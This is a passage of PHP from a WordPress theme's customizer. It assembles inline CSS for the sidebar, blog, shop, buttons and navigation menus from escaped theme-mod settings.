.sidebar ul li { border-color:" . esc_attr( get_theme_mod('progression_studios_sidebar_header_border', 'rgba(255,255,255, 0.07)') ). "; } .sidebar-item.widget_search:after { color:" . esc_attr( get_theme_mod('progression_studios_sidebar_search', '#1d1f22') ). "; } .sidebar-item.widget_search .search-form input.search-field, .sidebar-item.widget_search { border-color:" . esc_attr( get_theme_mod('progression_studios_sidebar_search', '#1d1f22') ). "; background:" . esc_attr( get_theme_mod('progression_studios_sidebar_search', '#1d1f22') ). "; } ul.progression-studios-header-social-icons li a { margin-top:". esc_attr( get_theme_mod('progression_studios_social_icons_margintop', '33') ) . "px; background:". esc_attr( get_theme_mod('progression_studios_social_icons_bg', 'rgba(255,255,255, 0)') ) . "; color:". esc_attr( get_theme_mod('progression_studios_social_icons_color', '#787e8a') ) . "; } ul.progression-studios-header-social-icons li a i { position:relative; top:4px; } .progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-header-icons-inline-display ul.progression-studios-header-social-icons li a, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-header-icons-inline-display ul.progression-studios-header-social-icons li a { color:". esc_attr( get_theme_mod('progression_studios_social_icons_color', '#787e8a') ) . "; } .progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-header-icons-inline-display ul.progression-studios-header-social-icons li a:hover, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-header-icons-inline-display ul.progression-studios-header-social-icons li a:hover { color:". esc_attr( get_theme_mod('progression_studios_social_icons_hover_color', '#ffffff') ) . "; } #xion-progression-header-top ul.progression-studios-header-social-icons li a { background:". esc_attr( get_theme_mod('progression_studios_social_icons_bg', 'rgba(255,255,255, 0)') ) . "; color:". esc_attr( get_theme_mod('progression_studios_social_icons_color', '#787e8a') ) . "; } #xion-progression-header-top ul.progression-studios-header-social-icons li a:hover, ul.progression-studios-header-social-icons li a:hover { background:". esc_attr( get_theme_mod('progression_studios_social_icons_hover_bg', 'rgba(255,255,255, 0)') ) . "; color:". esc_attr( get_theme_mod('progression_studios_social_icons_hover_color', '#ffffff') ) . "; } /* START BLOG STYLES */ #page-title-pro.page-title-pro-post-page { $progression_studios_post_tite_bg_color $progression_studios_post_tite_bg_image_post $progression_studios_post_tite_bg_cover } .progression-studios-feaured-image, .comment-body, .tags-progression-studios, .progression-blog-content { border-color:" . esc_attr( get_theme_mod('progression_studios_blog_content_border', '#232930') ) . "; } .comment-body:before { border-right-color:" . esc_attr( get_theme_mod('progression_studios_blog_content_border', '#232930') ) . "; } ul.progression-post-meta li a, h2.progression-blog-title a {color:" . esc_attr( get_theme_mod('progression_studios_blog_title_link', '#ffffff') ) . ";} ul.progression-post-meta li a:hover, h2.progression-blog-title a:hover, .progression-blog-content a.more-link {color:" . esc_attr( get_theme_mod('progression_studios_blog_title_link_hover', '#5be592') ) . ";} .progression-blog-content a.more-link:hover { border-color:" . esc_attr( get_theme_mod('progression_studios_blog_title_link_hover', '#5be592') ) . "; } /* END BLOG STYLES */ /* START PORTFOLIO STYLES */ .progression-portfolio-content, .progression-studios-portfolio-feaured-image { border-color:" . esc_attr( get_theme_mod('progression_studios_portfolio_border', '#232930') ) . "; } /* END PORTFOLIO STYLES */ /* START SHOP STYLES */ #progression-studios-woocommerce-single-bottom .related.products { display:" . esc_attr( get_theme_mod('progression_studios_related_products', 'none') ) . "; } .related.products h6 { display:" . esc_attr( get_theme_mod('progression_studios_related_products_sub_title', 'block') ) . "; } #content-pro ul.products h2.woocommerce-loop-category__title mark { display:" . esc_attr( get_theme_mod('progression_studios_category_count', 'none') ) . "; } #progression-studios-woocommerce-single-bottom .woocommerce-tabs ul.wc-tabs li.active a { color:" . esc_attr( get_theme_mod('progression_studios_shop_post_tab_highlight', '#ffffff') ) . "; } .progression-studios-shop-index-text { border-color:" . esc_attr( get_theme_mod('progression_studios_shop_index_brder', '#232930') ) . "; background:" . esc_attr( get_theme_mod('progression_studios_shop_index_bg', '#03090d') ) . "; } #progression-studios-woocommerce-single-bottom .woocommerce-tabs ul.wc-tabs li.active { border-bottom-color:" . esc_attr( get_theme_mod('progression_studios_shop_post_tab_highlight', '#ffffff') ) . "; } #progression-studios-woocommerce-single-bottom .woocommerce-tabs ul.wc-tabs li.active, #progression-studios-woocommerce-single-bottom { background:" . esc_attr( get_theme_mod('progression_studios_shop_post_base_background', '#03090d') ) . "; } /* END SHOP STYLES */ /* START BUTTON STYLES */ #content-pro .woocommerce table.shop_table .coupon input#coupon_code, #content-pro .woocommerce table.shop_table input, form.checkout.woocommerce-checkout textarea.input-text, form.checkout.woocommerce-checkout input.input-text, .post-password-form input, .search-form input.search-field, .wpcf7 select, #respond textarea, #respond input, .wpcf7-form input, .wpcf7-form textarea { background-color:" . esc_attr( get_theme_mod('progression_studios_input_background', 'rgba(255,255,255, 0)') ) . "; border-color:" . esc_attr( get_theme_mod('progression_studios_input_border', '#cdcece') ) . "; } .progression-studios-shop-overlay-buttons a.added_to_cart, .wp-block-button a.wp-block-button__link, .post-password-form input[type=submit], #respond input.submit, .wpcf7-form input.wpcf7-submit, .infinite-nav-pro a, #boxed-layout-pro .woocommerce .shop_table input.button, #boxed-layout-pro .form-submit input#submit, #boxed-layout-pro #customer_login input.button, #boxed-layout-pro .woocommerce-checkout-payment input.button, #boxed-layout-pro button.button, #boxed-layout-pro a.button { font-size:" . esc_attr( get_theme_mod('progression_studios_button_font_size', '13') ) . "px; } .search-form input.search-field, .wpcf7 select, .post-password-form input, #respond textarea, #respond input, .wpcf7-form input, .wpcf7-form textarea { border-radius:" . esc_attr( get_theme_mod('progression_studios_ionput_bordr_radius', '0') ) . "px; } #helpmeeout-login-form:before { border-bottom: 8px solid " . esc_attr( get_theme_mod('progression_studios_button_background', '#5be492') ) . "; } .wp-block-button.is-style-outline a.wp-block-button__link { border-color: " . esc_attr( get_theme_mod('progression_studios_button_background', '#5be492') ) . "; color: " . esc_attr( get_theme_mod('progression_studios_button_background', '#5be492') ) . "; } body .wpd-av { border-color: " . esc_attr( get_theme_mod('progression_studios_button_background_hover', '#ffffff') ) . "; } body .wpd-av button.yes { background-color: " . esc_attr( get_theme_mod('progression_studios_button_background_hover', '#ffffff') ) . "; color: " . esc_attr( get_theme_mod('progression_studios_button_font', '#2b734a') ) . "; } .tags-progression-studios a:hover, body .wpd-av button.yes:hover { background-color: " . esc_attr( get_theme_mod('progression_studios_button_background', '#5be492') ) . "; color: " . esc_attr( get_theme_mod('progression_studios_button_font', '#2b734a') ) . "; } .wp-block-button.is-style-outline a.wp-block-button__link:hover { background: " . esc_attr( get_theme_mod('progression_studios_button_background', '#5be492') ) . "; } ul.portfolio-category-single li a, ul.portfolio-category-index li a, .blog-meta-category-list a:hover, .blog-single-category-display a:hover, .progression-page-nav a:hover, .progression-page-nav span, #content-pro ul.page-numbers li a:hover, #content-pro ul.page-numbers li span.current { color:" . esc_attr( get_theme_mod('progression_studios_button_font', '#2b734a') ) . "; background:" . esc_attr( get_theme_mod('progression_studios_button_background', '#5be492') ) . "; } .progression-page-nav a:hover span { color:" . esc_attr( get_theme_mod('progression_studios_button_font', '#2b734a') ) . "; } .flex-direction-nav a:hover, #boxed-layout-pro .woocommerce-shop-single .summary button.button, #boxed-layout-pro .woocommerce-shop-single .summary a.button { color:" . esc_attr( get_theme_mod('progression_studios_button_font', '#2b734a') ) . "; background:" . esc_attr( get_theme_mod('progression_studios_button_background', '#5be492') ) . "; } .progression-sticky-scrolled header#masthead-pro #progression-checkout-basket a.cart-button-header-cart, #progression-checkout-basket a.cart-button-header-cart, .progression-studios-shop-overlay-buttons a.added_to_cart, .infinite-nav-pro a, .wp-block-button a.wp-block-button__link, .woocommerce form input.button, .woocommerce form input.woocommerce-Button, button.wpneo_donate_button, .sidebar ul.progression-studios-social-widget li a, body .woocommerce nav.woocommerce-MyAccount-navigation li.is-active a, .post-password-form input[type=submit], #respond input.submit, .wpcf7-form input.wpcf7-submit, #boxed-layout-pro .woocommerce .shop_table input.button, #boxed-layout-pro .form-submit input#submit, #boxed-layout-pro #customer_login input.button, #boxed-layout-pro .woocommerce-checkout-payment input.button, #boxed-layout-pro button.button, #boxed-layout-pro a.button { color:" . esc_attr( get_theme_mod('progression_studios_button_font', '#2b734a') ) . "; background:" . esc_attr( get_theme_mod('progression_studios_button_background', '#5be492') ) . "; border-radius:" . esc_attr( get_theme_mod('progression_studios_button_bordr_radius', '3') ) . "px; letter-spacing:" . esc_attr( get_theme_mod('progression_studios_button_letter_spacing', '0.04') ) . "em; } .tagcloud a { border-radius:" . esc_attr( get_theme_mod('progression_studios_button_bordr_radius', '3') ) . "px; } .mc4wp-form input[type='submit']:hover, .tagcloud a { color:" . esc_attr( get_theme_mod('progression_studios_button_font', '#2b734a') ) . "; background:" . esc_attr( get_theme_mod('progression_studios_button_background', '#5be492') ) . "; } .mobile-menu-icon-pro span.progression-mobile-menu-text, #boxed-layout-pro .woocommerce-shop-single .summary button.button, #boxed-layout-pro .woocommerce-shop-single .summary a.button { letter-spacing:" . esc_attr( get_theme_mod('progression_studios_button_letter_spacing', '0.04') ) . "em; } body .woocommerce nav.woocommerce-MyAccount-navigation li.is-active a { border-radius:0px; } #respond select:focus, body #content-pro .width-container-pro .woocommerce textarea:focus, body #content-pro .width-container-pro .woocommerce .shop_table input#coupon_code:focus[type=text], body #content-pro .width-container-pro .woocommerce input:focus[type=text], body #content-pro .width-container-pro .woocommerce input:focus[type=password], body #content-pro .width-container-pro .woocommerce input:focus[type=url], body #content-pro .width-container-pro .woocommerce input:focus[type=tel],body #content-pro .width-container-pro .woocommerce input:focus[type=number], body #content-pro .width-container-pro .woocommerce input:focus[type=color], body #content-pro .width-container-pro .woocommerce input:focus[type=email], #progression-studios-woocommerce-single-top table.variations td.value select:focus, .woocommerce-page form.woocommerce-ordering select:focus, #panel-search-progression .search-form input.search-field:focus, body .woocommerce-shop-single table.variations td.value select:focus, form#mc-embedded-subscribe-form .mc-field-group input:focus, .wpcf7-form select:focus, .post-password-form input:focus, .search-form input.search-field:focus, #respond textarea:focus, #respond input:focus, .wpcf7-form input:focus, .wpcf7-form textarea:focus, .widget.widget_price_filter form .price_slider_wrapper .price_slider .ui-slider-handle { border-color:" . esc_attr( get_theme_mod('progression_studios_button_background', '#5be492') ) . "; outline:none; } #progression-studios-woocommerce-single-top .quantity input:focus, .mc4wp-form input:focus, .widget select:focus { border-color:" . esc_attr( get_theme_mod('progression_studios_button_background', '#5be492') ) . "; outline:none; } .rtl blockquote, blockquote, blockquote.alignleft, blockquote.alignright { border-color:" . esc_attr( get_theme_mod('progression_studios_button_background', '#5be492') ) . "; } body .woocommerce .woocommerce-MyAccount-content { border-left-color:" . esc_attr( get_theme_mod('progression_studios_button_background', '#5be492') ) . "; } .widget.widget_price_filter form .price_slider_wrapper .price_slider .ui-slider-range { background:" . esc_attr( get_theme_mod('progression_studios_button_background', '#5be492') ) . "; } body #progression-studios-woocommerce-single-top span.onsale:before, #boxed-layout-pro ul.products li.product span.onsale:before { color:" . esc_attr( get_theme_mod('progression_studios_button_font_hover', '#03090d') ) . "; background:" . esc_attr( get_theme_mod('progression_studios_button_background_hover', '#ffffff') ) . "; } .tagcloud a:hover, .blog-single-category-display a, ul.portfolio-category-index li a:hover, ul.portfolio-category-single li a:hover, a.progression-portfolio-button:hover, .blog-meta-category-list a, .mc4wp-form input[type='submit'], .progression-studios-shop-overlay-buttons a.added_to_cart:hover, .infinite-nav-pro a:hover, .wp-block-button a.wp-block-button__link:hover, .woocommerce form input.button:hover, .woocommerce form input.woocommerce-Button:hover, #boxed-layout-pro .woocommerce-shop-single .summary button.button:hover, #boxed-layout-pro .woocommerce-shop-single .summary a.button:hover, .progression-studios-blog-cat-overlay a, .progression-studios-blog-cat-overlay a:hover, .sidebar ul.progression-studios-social-widget li a:hover, #boxed-layout-pro .woocommerce .shop_table input.button:hover, #boxed-layout-pro .form-submit input#submit:hover, #boxed-layout-pro #customer_login input.button:hover, #boxed-layout-pro .woocommerce-checkout-payment input.button:hover, #boxed-layout-pro button.button:hover, #boxed-layout-pro a.button:hover, .post-password-form input[type=submit]:hover, #respond input.submit:hover, .wpcf7-form input.wpcf7-submit:hover { color:" . esc_attr( get_theme_mod('progression_studios_button_font_hover', '#03090d') ) . "; background:" . esc_attr( get_theme_mod('progression_studios_button_background_hover', '#ffffff') ) . "; } .sidebar .star-rating, .sidebar .star-rating:before, .comment-form-rating .stars a, .comment-form-rating .stars a:before, .commentlist .star-rating, .commentlist .star-rating:before, #progression-studios-woocommerce-single-top .star-rating, #progression-studios-woocommerce-single-top .star-rating:before, #content-pro ul.products .star-rating, #content-pro ul.products .star-rating:before { color:" . esc_attr( get_theme_mod('progression_studios_star_rating', '#909395') ) . "; } .sidebar .star-rating:before, .commentlist .star-rating:before, #progression-studios-woocommerce-single-top .star-rating:before, #content-pro ul.products .star-rating:before { color:" . esc_attr( get_theme_mod('progression_studios_star_rating', '#909395') ) . "; } .highlight-pro:before { background:" . esc_attr( get_theme_mod('progression_studios_button_background_hover', '#ffffff') ) . "; } /* END BUTTON STYLES */ /* START Sticky Nav Styles */ body.single-post .progression-sticky-scrolled header#masthead-pro, .progression-sticky-scrolled header#masthead-pro, .progression-studios-transparent-header .progression-sticky-scrolled header#masthead-pro { background-color:" . esc_attr( get_theme_mod('progression_studios_sticky_header_background_color', '#1d1f22') ) ."; } body .progression-sticky-scrolled #logo-pro img { $progression_studios_sticky_logo_width $progression_studios_sticky_logo_top $progression_studios_sticky_logo_bottom } $progression_studios_sticky_nav_padding $progression_studios_sticky_nav_option_font_color $progression_studios_optional_sticky_nav_font_hover $progression_studios_sticky_nav_underline /* END Sticky Nav Styles */ /* START Main Navigation Customizer Styles */ .progression-header-phone-number { color:" . esc_attr( get_theme_mod('progression_studios_nav_font_color', '#7f8591') ). "; font-size:" . esc_attr( get_theme_mod('progression_studios_nav_font_size', '15') + 2 ). "px; padding-top:" . esc_attr( get_theme_mod('progression_studios_nav_padding', '36') - 7 ). "px; padding-bottom:" . esc_attr( get_theme_mod('progression_studios_nav_padding', '36') - 8 ). "px; } .progression-header-phone-number i { font-size:" . esc_attr( get_theme_mod('progression_studios_nav_font_size', '15') + 5 ). "px; } #progression-shopping-cart-count a.progression-count-icon-nav, nav#site-navigation { letter-spacing: ". esc_attr( get_theme_mod('progression_studios_nav_letterspacing', '0.04') ). "em; } #progression-header-icons-inline-display ul.progression-studios-header-social-icons li a { padding-top:" . esc_attr( get_theme_mod('progression_studios_nav_padding', '36') - 8 ). "px; padding-bottom:" . esc_attr( get_theme_mod('progression_studios_nav_padding', '36') - 7 ). "px; font-size:" . esc_attr( get_theme_mod('progression_studios_nav_font_size', '15') + 5 ). "px; } .mobile-menu-icon-pro { min-width:" . esc_attr( get_theme_mod('progression_studios_nav_font_size', '15') + 6 ). "px; color:". esc_attr( get_theme_mod('progression_studios_nav_cart_color', '#ffffff') ) . "; padding-top:" . esc_attr( get_theme_mod('progression_studios_nav_padding', '36') - 3 ). "px; padding-bottom:" . esc_attr( get_theme_mod('progression_studios_nav_padding', '36') - 5 ). "px; font-size:" . esc_attr( get_theme_mod('progression_studios_nav_font_size', '15') + 6 ). "px; } .mobile-menu-icon-pro:hover { color:". esc_attr( get_theme_mod('progression_studios_nav_cart_color', '#ffffff') ) . "; } .active-mobile-icon-pro .mobile-menu-icon-pro { color:" . esc_attr( get_theme_mod('progression_studios_nav_cart_color', '#ffffff') ). "; } .mobile-menu-icon-pro span.progression-mobile-menu-text { font-size:" . esc_attr( get_theme_mod('progression_studios_nav_font_size', '15') ). "px; } #progression-shopping-cart-count span.progression-cart-count { top:" . esc_attr( get_theme_mod('progression_studios_nav_padding', '36') - 1). "px; } #progression-shopping-cart-count a.progression-count-icon-nav .shopping-cart-header-icon { color:" . esc_attr( get_theme_mod('progression_studios_nav_font_color', '#7f8591') ). "; padding-top:" . esc_attr( get_theme_mod('progression_studios_nav_padding', '36') - 5 ). "px; padding-bottom:" . esc_attr( get_theme_mod('progression_studios_nav_padding', '36') - 5 ). "px; height:" . esc_attr( get_theme_mod('progression_studios_nav_font_size', '15') + 10 ). "px; line-height:" . esc_attr( get_theme_mod('progression_studios_nav_font_size', '15') + 10 ). "px; font-size:" . esc_attr( get_theme_mod('progression_studios_nav_font_size', '15') + 10 ). "px; } .progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-shopping-cart-count a.progression-count-icon-nav .shopping-cart-header-icon, .progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-shopping-cart-toggle.activated-class a .shopping-cart-header-icon, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-shopping-cart-count a.progression-count-icon-nav .shopping-cart-header-icon, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-shopping-cart-toggle.activated-class a .shopping-cart-header-icon { color:" . esc_attr( get_theme_mod('progression_studios_nav_font_color', '#7f8591') ). "; } .progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-shopping-cart-count a.progression-count-icon-nav .shopping-cart-header-icon:hover, .progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-shopping-cart-toggle.activated-class a .shopping-cart-header-icon:hover, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-shopping-cart-count a.progression-count-icon-nav .shopping-cart-header-icon:hover, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-shopping-cart-toggle.activated-class a .shopping-cart-header-icon:hover, .activated-class #progression-shopping-cart-count a.progression-count-icon-nav .shopping-cart-header-icon, #progression-shopping-cart-count a.progression-count-icon-nav:hover .shopping-cart-header-icon { color:". esc_attr( get_theme_mod('progression_studios_nav_font_color_hover', '#ffffff') ) . "; } #progression-studios-header-search-icon .progression-icon-search { color:" . esc_attr( get_theme_mod('progression_studios_nav_font_color', '#7f8591') ). "; padding-top:" . esc_attr( get_theme_mod('progression_studios_nav_padding', '36') - 4 ). "px; padding-bottom:" . esc_attr( get_theme_mod('progression_studios_nav_padding', '36') - 4 ). "px; height:" . esc_attr( get_theme_mod('progression_studios_nav_font_size', '15') + 8 ). "px; line-height:" . esc_attr( get_theme_mod('progression_studios_nav_font_size', '15') + 8 ). "px; font-size:" . esc_attr( get_theme_mod('progression_studios_nav_font_size', '15') + 8 ). "px; } nav#site-navigation { padding-top:" . esc_attr( get_theme_mod('progression_studios_nav_padding', '54') ). "px; } .sf-menu a { color:" . esc_attr( get_theme_mod('progression_studios_nav_font_color', '#7f8591') ). "; margin-top:-" . esc_attr( get_theme_mod('progression_studios_nav_padding', '54') ). "px; padding-top:" . esc_attr( get_theme_mod('progression_studios_nav_padding', '36') ). "px; padding-bottom:" . esc_attr( get_theme_mod('progression_studios_nav_padding', '36') ). "px; font-size:" . esc_attr( get_theme_mod('progression_studios_nav_font_size', '15') ). "px; $progression_studios_optional_nav_bg } .sf-menu li li a { margin-top:auto; } .progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-inline-icons .progression-studios-social-icons a, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-inline-icons .progression-studios-social-icons a, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-studios-header-search-icon .progression-icon-search, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-studios-header-login-container a.progresion-studios-login-icon, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu a, .progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-studios-header-search-icon .progression-icon-search, .progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-studios-header-login-container a.progresion-studios-login-icon, .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu a { color:" . esc_attr( get_theme_mod('progression_studios_nav_font_color', '#7f8591') ). "; } $progression_studios_sticky_nav_underline_default .progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-inline-icons .progression-studios-social-icons a:hover, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-inline-icons .progression-studios-social-icons a:hover, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-studios-header-search-icon:hover .progression-icon-search, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-studios-header-search-icon.active-search-icon-pro .progression-icon-search, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-studios-header-login-container:hover a.progresion-studios-login-icon, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-studios-header-login-container.helpmeout-activated-class a.progresion-studios-login-icon, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-inline-icons .progression-studios-social-icons a:hover, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled #progression-shopping-cart-count a.progression-count-icon-nav:hover, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu a:hover, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover a, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu li.current-menu-item a, .progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-studios-header-search-icon:hover .progression-icon-search, .progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-studios-header-search-icon.active-search-icon-pro .progression-icon-search, .progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-studios-header-login-container:hover a.progresion-studios-login-icon, .progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-studios-header-login-container.helpmeout-activated-class a.progresion-studios-login-icon, .progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-inline-icons .progression-studios-social-icons a:hover, .progression_studios_force_light_navigation_color .progression-sticky-scrolled #progression-shopping-cart-count a.progression-count-icon-nav:hover, .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu a:hover, .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover a, .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.current-menu-item a, #progression-studios-header-login-container:hover a.progresion-studios-login-icon, #progression-studios-header-login-container.helpmeout-activated-class a.progresion-studios-login-icon, #progression-studios-header-search-icon:hover .progression-icon-search, #progression-studios-header-search-icon.active-search-icon-pro .progression-icon-search, #progression-inline-icons .progression-studios-social-icons a:hover, #progression-shopping-cart-count a.progression-count-icon-nav:hover, .sf-menu a:hover, .sf-menu li.sfHover a, .sf-menu li.current-menu-item a { color:". esc_attr( get_theme_mod('progression_studios_nav_font_color_hover', '#ffffff') ) . "; } ul#progression-studios-panel-login, #progression-checkout-basket, #panel-search-progression, .sf-menu ul { background:". esc_attr( get_theme_mod('progression_studios_sub_nav_bg', '#46494f') ). "; } body #progression-checkout-basket:after, body #panel-search-progression:after, .sf-menu ul:after { border-bottom-color:". esc_attr( get_theme_mod('progression_studios_sub_nav_bg', '#46494f') ). "; } $progression_studios_top_header_sub_nav_brder_top $progression_studios_sub_nav_brder_top #main-nav-mobile { background:". esc_attr( get_theme_mod('progression_studios_sub_nav_bg', '#46494f') ). "; } ul.mobile-menu-pro li a { color:" . esc_attr( get_theme_mod('progression_studios_sub_nav_font_color', 'rgba(255,255,255, 0.8)') ) . "; } ul.mobile-menu-pro li a { letter-spacing:". esc_attr( get_theme_mod('progression_studios_sub_nav_letterspacing', '0') ). "em; } ul.mobile-menu-pro .sf-mega h2.mega-menu-heading, body #progression-sticky-header header ul.mobile-menu-pro h2.mega-menu-heading a, ul.mobile-menu-pro .sf-mega h2.mega-menu-heading a, ul.mobile-menu-pro .sf-mega h2.mega-menu-heading, body #progression-sticky-header header ul.mobile-menu-pro h2.mega-menu-heading a, body header ul.mobile-menu-pro .sf-mega h2.mega-menu-heading a { color:" . esc_attr( get_theme_mod('progression_studios_sub_nav_font_color', 'rgba(255,255,255, 0.8)') ) . "; } ul#progression-studios-panel-login li a, .sf-menu li li a { letter-spacing:". esc_attr( get_theme_mod('progression_studios_sub_nav_letterspacing', '0') ). "em; font-size:". esc_attr( get_theme_mod('progression_studios_sub_nav_font_size', '13') ). "px; } ul#progression-studios-panel-login, #panel-search-progression input, #progression-checkout-basket ul#progression-cart-small li.empty { font-size:". esc_attr( get_theme_mod('progression_studios_sub_nav_font_size', '13' ) ). "px; } ul#progression-studios-panel-login a, .progression-sticky-scrolled #progression-checkout-basket, .progression-sticky-scrolled #progression-checkout-basket a, .progression-sticky-scrolled .sf-menu li.sfHover li a, .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li a, .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover li a, .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li a, .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover li a, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li a, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li a, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover li a, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li a, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover li a, .progression_studios_force_dark_navigation_color .sf-menu li.sfHover li a, .progression_studios_force_dark_navigation_color .sf-menu li.sfHover li.sfHover li a, .progression_studios_force_dark_navigation_color .sf-menu li.sfHover li.sfHover li.sfHover li a, .progression_studios_force_dark_navigation_color .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li a, .progression_studios_force_dark_navigation_color .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover li a, .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li a, .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li a, .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover li a, .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li a, .progression_studios_force_light_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover li a, .progression_studios_force_light_navigation_color .sf-menu li.sfHover li a, .progression_studios_force_light_navigation_color .sf-menu li.sfHover li.sfHover li a, .progression_studios_force_light_navigation_color .sf-menu li.sfHover li.sfHover li.sfHover li a, .progression_studios_force_light_navigation_color .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li a, .progression_studios_force_light_navigation_color .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover li a, .sf-menu li.sfHover.highlight-button li a, .sf-menu li.current-menu-item.highlight-button li a, .progression-sticky-scrolled #progression-checkout-basket a.checkout-button-header-cart:hover, #progression-checkout-basket a.checkout-button-header-cart:hover, #progression-checkout-basket, #progression-checkout-basket a, .sf-menu li.sfHover li a, .sf-menu li.sfHover li.sfHover li a, .sf-menu li.sfHover li.sfHover li.sfHover li a, .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li a, .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover li a { color:" . esc_attr( get_theme_mod('progression_studios_sub_nav_font_color', 'rgba(255,255,255, 0.8)') ) . "; } .sf-menu li li .progression-studios-menu-title:before { background:" . esc_attr( get_theme_mod('progression_studios_sub_nav_hover_bullet', '#ffffff') ) . "; } .progression-sticky-scrolled ul#progression-studios-panel-login li a:hover, .progression-sticky-scrolled .sf-menu li li a:hover, .progression-sticky-scrolled .sf-menu li.sfHover li a, .progression-sticky-scrolled .sf-menu li.current-menu-item li a, .sf-menu li.sfHover li a, .sf-menu li.sfHover li.sfHover li a, .sf-menu li.sfHover li.sfHover li.sfHover li a, .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li a, .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover li a { background:none; } .progression-sticky-scrolled #progression-checkout-basket a:hover, .progression-sticky-scrolled #progression-checkout-basket ul#progression-cart-small li h6, .progression-sticky-scrolled #progression-checkout-basket .progression-sub-total span.total-number-add, .progression-sticky-scrolled .sf-menu li.sfHover li a:hover, .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover a, .progression-sticky-scrolled .sf-menu li.sfHover li li a:hover, .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover a, .progression-sticky-scrolled .sf-menu li.sfHover li li li a:hover, .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover a:hover, .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover a, .progression-sticky-scrolled .sf-menu li.sfHover li li li li a:hover, .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover a:hover, .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover a, .progression-sticky-scrolled .sf-menu li.sfHover li li li li li a:hover, .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover a:hover, .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover li.sfHover a, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li a:hover, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover a, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li li a:hover, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover a, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li li li a:hover, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover li.sfHover li.sfHover a:hover, .progression_studios_force_dark_navigation_color .progression-sticky-scrolled .sf-menu li.sfHover 